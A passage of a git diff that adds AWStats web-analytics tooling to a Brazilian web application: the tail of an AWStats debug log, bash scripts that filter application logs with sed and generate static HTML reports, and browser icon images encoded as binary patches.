- Build key list and sort it. lowerval=1, nb elem val=1, nb elem egal=8. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=9) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section general=2077 in file at offset 488 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section time=2736 in file at offset 518 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section visitor=6654 in file at offset 551 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section day=13020 in file at offset 580 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section domain=3213 in file at offset 612 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section login=3433 in file at offset 643 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section robot=3588 in file at offset 674 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section worms=3720 in file at offset 705 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section emailsender=3851 in file at offset 742 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section emailreceiver=3994 in file at offset 781 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section session=13110 in file at offset 814 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section sider=13256 in file at offset 845 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section filetypes=4129 in file at offset 880 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section downloads=4209 in file at offset 915 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section os=4257 in file at offset 943 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section browser=4334 in file at offset 976 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section screensize=4396 in file at offset 1012 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section unknownreferer=4470 in file at offset 1052 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section unknownrefererbrowser=4557 in file at offset 1099 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section origin=4639 in file at offset 1131 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section sereferrals=4769 in file at offset 1168 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section pagerefs=4913 in file at offset 1202 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section searchwords=5061 in file at offset 1239 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section keywords=5213 in file at offset 1273 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section misc=2400 in file at offset 1303 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section errors=5272 in file at offset 1335 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section cluster=3289 in file at offset 1368 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section sider_404=5347 in file at offset 1403 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section extra_1=5473 in file at offset 1436 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update offset of section extra_2=6321 in file at offset 1469 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update MonthVisits=9 in file at offset 2220 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update MonthUnique=9 in file at offset 2253 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update MonthHostsKnown=9 in file at offset 2290 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Update MonthHostsUnknown=0 in file at offset 2329 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Init_HashArray +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Close log file "/var/lib/tomcat7/other_logs/app.2014-06-29.txt" +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Call to Rename_All_Tmp_History (FileSuffix=.extra) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Scan for temp history files to rename into DirData='/root/monitoramento-ej/wwwroot/cgi-bin/data' with mask='\d\d\d\d\d\d' +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Rename new tmp history file awstats062014.extra.tmp.17454 into awstats062014.extra.txt +Jumped lines in file: 0 +Parsed lines in file: 2 + Found 0 dropped records, + Found 0 comments, + Found 2 blank records, + Found 0 corrupted records, + Found 0 old records, + Found 0 new qualified records. diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/filter.sh b/src/main/webapp/monitoramento/wwwroot/cgi-bin/filter.sh new file mode 100644 index 0000000..7dc8a12 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/filter.sh @@ -0,0 +1,87 @@ +#!/bin/bash + +# Function: Apply a filter to the log files +# Parameters: method id login + +sed -i ' +s/;//g +s/POST/Inserção/ +s/PUT/Alteração/ +s/DELETE/Exclusão/ +s/.*url=\[.*\/selecionar\].*// +s/.*url=\[.*\/pesquisa\/.*\].*// +s/.*url=\[.*\/form\/.*\].*// +s/url=\[.*programas\/*[0-9]*\]/url=\[Programa\]/ +s/url=\[.*ocorrenciamunicipais\/*[0-9]*\]/url=\[Ocorrencia Municipal\]/ +s/url=\[.*localizacoes\/*[0-9]*\]/url=\[Localizacao\]/ +s/url=\[.*orgaoexecutores\/*[0-9]*\]/url=\[Orgao Executor\]/ +s/url=\[.*tematicas\/*[0-9]*\]/url=\[Tematica\]/ +s/url=\[.*usuarios\/*[0-9]*\]/url=\[Usuario\]/ +s/url=\[.*municipios\/*[0-9]*\]/url=\[Municipio\]/ +s/id=\[\]//g +' $1 + +if [[ -f $2 ]] +then +# sed -i ' +# s/.*#\([0-9]*\).*/id=\[\1\]/ +# ' $2 + + sed -i ' + s/\(.*\)\(id=[0-9]*\), \(.*\)/\2 \1\3/ + s/br\.ufpr\.c3sl\.estacaojuventude\.Usuario//g + s/br\.ufpr\.c3sl\.estacaojuventude\.OcorrenciaMunicipal//g + s/br\.ufpr\.c3sl\.estacaojuventude\.OrgaoExecutor//g + s/br\.ufpr\.c3sl\.estacaojuventude\.Tematica//g + s/criteriosAcesso=\.\.\./criteriosAcesso=/ + ' $2 + + RECORD="Listing entities:" + PROGRAM="br.ufpr.c3sl.estacaojuventude.Programa{" + VAR="" + + OLDIFS=$IFS + IFS=$'\n' + for LINE in $(cat $2) + do + if [[ "$LINE" =~ "$RECORD" ]] + then + if [[ -n "$VAR" ]] + then + echo "$VAR" + fi + AUX=0 + FIND=0 + else + AUX=$AUX+1 + if [[ $AUX -eq 1 ]] + then + VAR=$LINE + VER=$(grep -o "version=[0-9]*" <<< "$LINE" | grep -o [0-9]*) + if [[ "$LINE" =~ "$PROGRAM" ]] + then + FIND=1 + fi + elif [[ $FIND -eq 0 ]] && [[ "$LINE" =~ "$PROGRAM" ]] + then + VAR=$LINE + else + VER2=$(grep -o "version=[0-9]*" <<< "$LINE" | grep -o [0-9]*) + if [[ $VER2 -gt $VER ]] + then + VAR=$LINE + fi + fi + fi + done + echo "$VAR" + IFS=$OLDIFS +fi + +if [[ -f $3 ]] +then + sed -i ' + s/;//g + s/Username: /Username=/g + ' $3 +fi \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/generate.sh b/src/main/webapp/monitoramento/wwwroot/cgi-bin/generate.sh new file mode 100755 index 0000000..0cc7cc5 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/generate.sh @@ -0,0 +1,62 @@ +#!/bin/bash + +# Function: Join the page with extra content into the main page +# Parameters: home folder + +perl $2/awstats.pl -config=observatorio -output=alldomains -staticlinks > $1/awstats.observatorio.alldomains.html +perl $2/awstats.pl -config=observatorio -output=allhosts -staticlinks > $1/awstats.observatorio.allhosts.html +perl $2/awstats.pl -config=observatorio -output=lasthosts -staticlinks > $1/awstats.observatorio.lasthosts.html +perl $2/awstats.pl -config=observatorio -output=unknownip -staticlinks > $1/awstats.observatorio.unknownip.html +perl $2/awstats.pl -config=observatorio -output=alllogins -staticlinks > $1/awstats.observatorio.alllogins.html +perl $2/awstats.pl -config=observatorio -output=lastlogins -staticlinks > $1/awstats.observatorio.lastlogins.html +perl $2/awstats.pl -config=observatorio -output=allrobots -staticlinks > $1/awstats.observatorio.allrobots.html +perl $2/awstats.pl -config=observatorio -output=lastrobots -staticlinks > $1/awstats.observatorio.lastrobots.html +perl $2/awstats.pl -config=observatorio -output=urldetail -staticlinks > $1/awstats.observatorio.urldetail.html +perl $2/awstats.pl -config=observatorio -output=urlentry -staticlinks > $1/awstats.observatorio.urlentry.html +perl $2/awstats.pl -config=observatorio -output=urlexit -staticlinks > $1/awstats.observatorio.urlexit.html +perl $2/awstats.pl -config=observatorio -output=browserdetail -staticlinks > $1/awstats.observatorio.browserdetail.html +perl $2/awstats.pl -config=observatorio -output=osdetail -staticlinks > $1/awstats.observatorio.osdetail.html +perl $2/awstats.pl -config=observatorio -output=unknownbrowser -staticlinks > $1/awstats.observatorio.unknownbrowser.html +perl $2/awstats.pl -config=observatorio -output=unknownos -staticlinks > $1/awstats.observatorio.unknownos.html +perl $2/awstats.pl -config=observatorio -output=refererse -staticlinks > $1/awstats.observatorio.refererse.html +perl $2/awstats.pl -config=observatorio -output=refererpages -staticlinks > $1/awstats.observatorio.refererpages.html +perl $2/awstats.pl -config=observatorio -output=keyphrases -staticlinks > $1/awstats.observatorio.keyphrases.html +perl $2/awstats.pl -config=observatorio -output=keywords -staticlinks > $1/awstats.observatorio.keywords.html +perl $2/awstats.pl -config=observatorio -output=errors404 -staticlinks > $1/awstats.observatorio.errors404.html +perl $2/awstats.pl -config=observatorio -output -staticlinks > $2/awstats.observatorio.html + +perl $2/awstats.pl -config=extra -output=allextra1 -staticlinks > $1/awstats.extra.allextra1.html +perl $2/awstats.pl -config=extra -output=allextra2 -staticlinks > $1/awstats.extra.allextra2.html +perl $2/awstats.pl -config=extra -output -staticlinks > $2/awstats.extra.html + +CONTENT="<a name=\"content_extra\"> </a>" +BEGIN="<a name=\"other\"> </a>" +END="<a name=\"eextra\"> </a>" + +OLDIFS=$IFS +IFS=$'\n' +for LINE in $(cat $2/awstats.observatorio.html) +do + if [[ "$LINE" = "$CONTENT" ]] + then + for LINEAUX in $(cat $2/awstats.extra.html) + do + if [[ "$LINEAUX" = "$BEGIN" ]] + then + COPY=1 + elif [[ "$LINEAUX" = "$END" ]] + then + COPY=0 + elif [[ $COPY -eq 1 ]] + then + echo "$LINEAUX" + fi + done + else + echo "$LINE" + fi +done +IFS=$OLDIFS + +rm -f $2/awstats.observatorio.html $2/awstats.extra.html + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/abilon.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/abilon.png new file mode 100644 index 0000000000000000000000000000000000000000..0581c91b575e7541acc4abaeac6a36b66c10ed52 GIT binary patch literal 557 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZON^x2+cN@rx zGcYhd^mK6yshAUb@OIv12LXl)Gv{vHTlOYq&X-9`G+kMj1O>ECsCZ)ilcBC9{a(O? z9ih6uUeS+s<;kd*y}A2vX7Pqh9l<&A>-V2qC~mZn)v#3ABgbd5PPgawn(|HSBQ}dF zH0<B`>%+(3eWw=Pop}A-Jl|ig)2!sa^0{r!jaZZR{=T1tAVUjBn)v;F@&EXaomV^W zAIG<6*)5BC_iXgq);_F#_{VC0iU5N{a>L@dYMz513Jl~Hi!v$(-Co6WV#ie_Uu`xP zL52<aar5U+YwbH^@y$kK<=gDD4llCPH%I(zp1{Z=*jcb%Ix8iu!Y98t$nlAJub{&Q z)77~$$9o!-CM;PU7G86G`>{3!{_m0d)<n<cm=cs=mU{4wmeQUbvHy2Ov&-u8<?~K> z{f_6C%GA?B6?)nmjwvv4pEzH6?##Mp%gm$}YHf2_b<r>Q=~}-hh8+?vO9NciWH4=; zwsr>>^K_=OEM>7eYfU@E92pu|H$0wsM|G)-#L-nznr~m|tW@4E>bkZ}Lai@(O<+gG zmi4z|zA^0=ugHDd%QiQ(Z0cR#{_+PFRV(DzOC`^k;hK_fZWoni-YtE+^Frg7fBr>( ze;%EDPC?^r(Yz^7KVCk(<Gy<`&myM{mtRhIoy66Uxo!FK^=^xqf84i!JMsC9g12pP Q3=9kmp00i_>zopr07~rmBme*a literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/adobe.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/adobe.png new file mode 100644 index 0000000000000000000000000000000000000000..0830fac87d5c3ac669f151888e9355b38fcfe2f9 GIT binary patch literal 340 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j{oGIRA5j13iX6N`!!j0_Bn6b#I)j4Z5-3>35t3=IrE&XD}bz`(#>;_2(kewmq( z(U|{G$!R7A1_sUokH}&M2B8=bX3RKZ*2%!Yz>@Ch>&U>cv7h@-A}a#}gF%2#i0d^5 zhI<SQ*Ekq%2ngKO)_M{i@us@s?es~XH*WpBd*`2rmw!Kb_W$|&|DQkq|Nj5~|NmDn zO?kn<z>w?d;uunKE7`;Q^soOmy1k8!2jBe<S2(FK;s1a3j<l%%|K}?+H!Ga}|Np;m zLrvd*^Z)u{2?-ni#&d<u_<z3gKmUYH^BtBkGr#`7zGs_5tIYrXtp$JXvzWa7U%o)X r`QQKl^}XNzr!dU=RDb>Fe+HQh)9&2GcNa4-Ffe$!`njxgN@xNA^pcD6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/akregator.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/akregator.png new file mode 100644 index 0000000000000000000000000000000000000000..aa321e9e4bbfd7017bf7049559937a8a81ce2990 GIT binary patch literal 554 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZON^vn8)(Xph zV_;ys=jq}YQZdJLqGR6W01?;s)&H;iy*g5QN5!61)ivqDG{z=T1;fMxEGvH}@Nyj6 zz#4XViO19#E?llz-IuhEHksW}`L_LkJr5K2j^`fVCsY^nG$=4JDCj$}+^<-hrhmV! zP`~TY)m^u4U6NWqubEYaK|$%>Vc`WI{~lqyyJYw6?yjV*5q~c2_{k(@U>5L6z<tY% ztEH#yeZnf=z0x`#er8GHe#c4;_V*X21c{!=FP!_-|9&OkcemS1w)J>U4U&2t{DSQi z6R%Xiluktdx4h%W_w9*(mgB>6p!$43IR{rxbjh9))8i|c{?z<=xc#-yyXBQ}^XB+; zC;7Vg2o_JzWWU2)K1*iqn-|GqcFvW%^<E!TknBJE^5ykqnOj!ZoSh)H=638u*Pjo* z`WkjM+xO3tiH(WzUmm$yl#h*b^QFs=Y8O;LVbhxtk`?jn^pfO*vu5(~eS5uY-g)EX zprteHYVEc!P5n_e+wJhXs?^`j_pXMD9lw~eiJe0*SMK?}ZMS=mercYYS8cOz`{X0j zr*~h}n0vlHBAe0Txob<uj=~HXmMt-2N=ZIaZ3l1OwCTDfEoYqj>BU2XnP>Ip7N<rE zPW=AwLxKJ2cRilw_s%jfeE;paS~TkQufI>~V~o_k{+l1};=*zup6mMi>UZZ`EEyOW O7(8A5T-G@yGywp1egI4W literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/alcatel.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/alcatel.png new file mode 100644 index 0000000000000000000000000000000000000000..706f61dff00110d25a20d17c41cc1c5a3780744a GIT binary patch literal 351 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluydIizm0A; zWME(v_H=O!shG2L;zlp#KmphLbHB$hWh$K(3fOk>D|^V5TUv7;eE-2)*VU>}*EDtF zjU!Gx+DG;zi92u7n4OZQGtI@LN#kDD4jI0~JRw(gmS=6aa)~RwXH}x1HkVFhXlUap z&d}z3^OrVCi_WaE+O<n2c8+-Y^_-B3Z44Zr1q9cWx=2Uw{`T<L(P}Z5Yq|_Q#~;5e zc{N8^kU>W&#qIm{+3x9^&-X{I4V#uKz@pR?w)$$0+1~Go5@N1`#|yu&+`V`5p1n5m zZ{*A5tUV`vsoLwd*fBNIE%3?S_19lVPJ3EuS0g`fo(w;mU9InB6V?mwzpvezvHkYs zlPVlc3`$NeR~Z&W^~~(dIJ>c~Bl%hUqWTT%s^9#-sGqlcb_uJ-)CUX<3=E#GelF{r G5}E*Rz>%N; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amaya.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amaya.png new file mode 100644 index 0000000000000000000000000000000000000000..4bfb97dbcc729e1213483f76fb8d4f54cf0f668d GIT binary patch literal 316 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd7G?$phPQVgfdtq~Jbhi+FEcYT8i<NmC+=oo zVBjq9h%9Dc;41-P#%z_%*BBTWSkfJR9T^xl_H+M9WMyDrFbMDoab>V%V5nwb*vr81 zpFxp<LD3Q<U}?!<S<T?Yz>o}<Y=O!%{Qv)dJ`?*S1_p+HPZ!6Kid(X075SJ9MOq$e z$}Fhe>u~$%1CJdHa;*=9R5bXSl{`$gDJpiWsJ!8<VrCK9dQ<JN-r{|M_8xUVMA`Sn zHhh;#F_660^te;v2amGT#<0ak$5x!uZJ4<A-pZcL8CR8z+?Ri;-22J8BuD<VaK47m z_1u(Zq3`WNx4GjwbqsAU-eJ$_t6lA0|4-r@bDyExMF}m5>kJGG44$rjF6*2Ung9cx BWBLF9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amigavoyager.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amigavoyager.png new file mode 100644 index 0000000000000000000000000000000000000000..eef57d5c0c21750ab3679303fdb989525b67f9ef GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>l%ZYNTwRv@I zW?*38EbxddW?<m@0K$w;YfNS^Ffg#BJNh~@Fl_AS{*%bcz`$S-;1lA?BFD(37bRn< znj*&|5j97*ey`KkM^VrJPZ42R%fN7qf#Dtl!#PcXdxir4odo{>|DSaBloSI4gFs1; zU+{la!0<phR+52%A>7l&F{I*F@(+GSp8x;reW$WtPF(5e5cN1NV&-Y->bCQnW1VBm zJ{kX+|Mt<NJ&YRXw+3F=CGSxmx3}8d-lO*VE8c|KIh)@c{L(J@C*fB;^N~CM{{%>} aFo+9!w6MC`K4xHGVDNPHb6Mw<&;$TNrfiS^ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/analogx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/analogx.png new file mode 100644 index 0000000000000000000000000000000000000000..654d58136b9991af0f6945a1ef7c625cc0977d46 GIT binary patch literal 655 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZO%JFHK$>w-% zXJBA*_H=O!shGoh(Ay&<P=evX=lR9&Y|GoMjl<o~UicX5=qfzX#W9bEN4r>>Wm4m8 zF<S+rTOxXkqS%@)HOqB#8S=EoZQ+jovS3qtBWqh<-!p@AkI(J>KBxNJ%ij&f@`*}L zqN&eLUAlDTi}!R^77@K}v-ITajm|;YoDQ1IFFhG28799v{ra;xo48gaqs=K!=I(~A z`M2k>U(c5o@^M)h^YBc=_xtz1##*h+UK7Alv^Ga^Ge?j$XXqvO+t%;-?uIxy2e#!U zZr#0{+4!&e?5|6wzqk`3-uYkdzZ7R+ZuadxvtPe{C%d<-{g{EI<Zk=Pv+v*9yjyMW z(kJ3)zJ)lR`n7CF@};Ajvg;lRPwwxRw{Z*AP*aaLl-2xqV#*)W(@TExOI|h$;S>K= z?s8Z~a`su~d4Ema9W(P7a#!d@itg4vTPygu=jEo8rH*2UW<E`ET4yyWlrdDI`_Zm* z>l~Ud-?;JV<0<1mhs#&Zoq9*fQ}w9Ryk$ZxD;}_DdzCFMSJG#RULUO_wejqJM*fMH z1hiYV5~sY*nCc*ArWs~X@aW2q+3FwLb_wZ6ORtDm7XGVy#Z>ls!xG))`<Kp|RoyS6 zCeE(E#msCs>-(dZIe*OTJkNS^QRpGX(*>^*uRr~|^Tvq_d(W=DeQ@;;52e#-&)3b9 zt+ne(YPqyxL!c5vlc&gWxww5>?e9KqWvWqh%)D?Z;n|nx+m-v<rhopwhJ*Wh<=VM6 zwgqYV)$R{iTO=2>PK#jI3h=s}#-i9_)7l~CB`xO45n9t9!IJq^-aAL`l$6{-IR*v> N22WQ%mvv4FO#nP+A1VL< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/android.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/android.png new file mode 100644 index 0000000000000000000000000000000000000000..d12f8cbae4bcbdd4718914788c4ee7047bf0198a GIT binary patch literal 230 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0YKo;^L7Po+Gw$ z83O|YXMsm#F#`j)5C}6~x?A^$fq{V~-O<;Pfnj4m_n$;o1_lPj0G|-o|Ns9_JD@WC zfXbBpax)I7{{R2)?U!5A52{Q*pgR44(z6ezO`12IU|?WiED7=pW^j0RBaMN9!P?Ws zF{I+w)H9ZR2NXn(1SD@d_?MsOV!MZkNabA9O9xhOs<`rL>hyaSuS|M+m5=BZ|DC_V hrhKLT%-DA(nT!k<c)}PqGcYhPc)I$ztaD0e0sz+nQl0<+ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/apt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/apt.png new file mode 100644 index 0000000000000000000000000000000000000000..29a66ede37acae2d1b4fff51bd07de6c276c1e37 GIT binary patch literal 315 zcmeAS@N?(olHy`uVBq!ia0y~yVBlt8VBq6mW?*1Aw_j{I0|P@&fKQ0)K?dcctOiFp z4bLg~pHm9FU>I@PD(Sj+;SImy+p%?b5}WR2cReVX^ssX3qq>=oo98_3Uh-_>^5>IR zy_mlC<?Icw7H)mLZ0DO5yWVX%{C?+&&!?|`Ie+8p<-6bSJpS?E`Hx30f4zMB`|Za+ zpT7S4_wVU<qdg1^44efXk;M!Q+(IDCc<FB49|i`7QcoAhkcwNb-8cCT83-_oYe+j) zT`X#uv`yvn|NkeN1b!S<?$vd;6MpNg!UNaYZsyH}H{6Q16iu$)dSDV)m58k3+~qU% zI&QuEB*z=a*P4{IRQ71<3Spmx9n}%PKZe*(jLY5aX6$kAY>jfv-T5z_{~2!dmak(x Y7{`BXNAJ};3=9kmp00i_>zopr0FLmOOaK4? literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/avant.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/avant.png new file mode 100644 index 0000000000000000000000000000000000000000..1143e9f59915c4feb38ab916ded9da38fe5a57fa GIT binary patch literal 770 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfoY1Ti(^Q|t)xHy|Nq}C ze&2s?_1UB64jegg;>eL7|LqUoujg_2@csS%`2GL?|2v(LtEZ)Tj#I#)$D#B$-(HcF z<RAaPzn_1<{@=g<-}%=}nE26NS=gAHo10nr@^kw$etby`j11ZgSN^lC-ty?tm3Pd) zzy1F8kCEZu*RManfBW(G?_W+%Hhw|gfB*mg|M!=PlmFf4-%Jn<Hy*sdd-^#m^G_xQ zhEE@Vh)Z%<+sXX>`+xtg2M_OkVdrG|`Sa&LrY~PPS(rLnTRU4jr*=NH|GZp(zwg@A zz06PTYyT}=rM7IP`n}sFPyWu9pK~WiN9RmW4-W(5kuTye+}zsq@7Jx$=2S_`ns58N zDCqpu$L{m0eylvY^!0y6tJm-C)zZ`y7&sKv7To@CXkcWpv5I}grj48T)PB}i^qoF; za^nAc)`psH2RH88U-$R#=jZwt7BeuiY?=S`e7u{VoSC4ZUSwolarVQ-?sD_3{zbV= ziH)0RuM_wD*wpL%@Bb&Kq_A*6{K?G5^^cj0gXg!f2=}MYKbJ1O|M=lgZZ6*U@Bj3* zo#N$Ye*5MZ7q<X2Gb>X^>s0TS&bRFi7x?qu{m;K&m-<}bq3Dmp2TvY4dF<b-hu7KX z@7uJ2+j#TGjT=5OvIt!GZBuio%O^*Enoj-K9~bwZzwf&9XXMU`iV92184>pXp8a7e zc@@u==ci}az>xIw_~9dJhd;lTJ^n9w{{O$p&z`2Hr>7@AXZ$s_v9)tz^VHd$5AW;C zz3Z>p&%o62@z&=5!Davcf9jd|R{QY%`#k&W4FCLQ=iz4)TM+nOQeyw#|L2Z=aQ_}& zr(*2Dz$kqD|Lpw#Yxn%??(Y0}JikreUh?1H)E~d+GfGsx*)K8U|Ns9#+g0z(@(l0d cR5-wpT*sMq@@9uR0|Nttr>mdKI;Vst0Omn{0{{R3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/aweb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/aweb.png new file mode 100644 index 0000000000000000000000000000000000000000..cf50596338cb3e7f9dbed404eb954b8f9f40a849 GIT binary patch literal 607 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$^iKi(^Q|t)!T3Ig--S z(#%2$X=!OGX=%THg?_na`**9fMV`$K>#bi^`Q;rL3>gpFt1vvdx4-=Tk)z#<w!e?M za=kEa*Rc=pmw#Jyl}9Frf$_+Z1}+IniEX)eD(dd<JHG6gzwBKJiGTkl3yANjkALzk zwt*qZG5FWt=jWZ({Wopie7yEwiK&vqrw<#g+1R!#|FthFVq_8M3i9LY)7@RZdey49 zy+uzCZ+^api|e(x@BhOmfByepKP`Sg0~5zX1~<23>+kRT`|IoJdj}a$?5%n$#curB zUQBG+{rxll|6%N6U=eWA)Yg9e_xJbKpFenbc`APV<d?TR^yk0*1%@3=4Gc~ie?Pvy zewUqp%hah)RaHZuJb7nd`|HI`W3jX}kbIKkjeqa%ZhU;4b;nNq*qurWDqo&{N?jnm zWa*NB4Y}-04Gc}QxO!T-#q}y~+~z)cs%zy6iI=aLS?%{$e0={te#c4%MwTEho^R{t z+t*k9zjx-8m$##1aNNC1$J*Mbe?Rf^^8Sfam{<gaRn*?!-MxItnls1F{d@gAUm+<m zv2g3go#p@k-Cph=nRt;;z(HYY{r^9e#sBTLH!vul+27;ibIHrgAw2ii-rr|$Zx<+R zU`S#-_PahUEjc^8Om5!(2PO<6tXxr%(Wg(I{{M%W$>HGr{q@W&5)AF{POe(rv1JJZ P0|SGntDnm{r-UW|TIw1_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bpftp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bpftp.png new file mode 100644 index 0000000000000000000000000000000000000000..3ab2caef8500ed2ef4284ad7954ef849b0282651 GIT binary patch literal 714 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfhoq*#WAGfR??sU|LvKz zEb9N=y0>@szrV=|KhA&nEPc5DK97zJ4^z_}2F4>zYhJv(y!`K9WBvGdS1$ZeRXuy) z@WBs1*bX1&=h^<<*yi72egOxb|A`CAAGzepPCm!C|LN(uUf!bhe}#VhkN@_+{^S4u zPxa@B6qNU}a44uPNSwXxO^269+M`GB-@X3%D>VJ2kZA1PU-A3(u3cx>kBd2RKw!;+ zgP}36xCI!r8Ls?i*tlVXst*5xU2FgU|MCC-r{}L0ef?H^`}VZHzBwybZU_tvyMA5# z$1jG12c|QDHLx(V{Ff1v(PHjpc%R6?$0Q;8`P-|%>o!;g2d)(sX8-h!ecSHCMam2x zzg>W8@b(V)`HOACu7wX)9<%+!@bf3bRW-M)@+~~<tWRIR|MTIv%Ejlu+ZbjYTFulU zC>LRzb}lw3`sm-M*69fwI#)6-U-IO4?&}+3YfTbUERG*A@Q+|pXmIfQ{=UB8$A`&Z zc(}{v$;a>ipRsCv`G(E$o72yKe!P0ATupky<6S3@=w#>e3OFn{prvVf=0HL1!$Z;Q z<Np5o_SRhG&Ah!8;UPi$lkPTVe~-7T{P^eV>gx=QEL=K%eqn5EAM@|mO`9e+ZL015 zl#^fU|JOy#ioL&0^}$zTG4tE)2mkf|_)*Eo#32%GU;i&Lp`!4~iNDp~EAH+4`}xI1 zYc;i>)7S5qIYVM!{qKKIIG=xh-e33U0t<)2gdlx=NxgOM^7flNy*K~(_3!*y(|><{ z9-nWo!2kdE@rdy6S8qj4o<3b%p+UlMGPgj@?{B(#@1!PdOzUN2W;U72z#_qLT2=0W UnxC~f0|Nttr>mdKI;Vst03b73qW}N^ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bytel.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bytel.png new file mode 100644 index 0000000000000000000000000000000000000000..078fc8ebde61f372b56c9157538119c89cc6a490 GIT binary patch literal 505 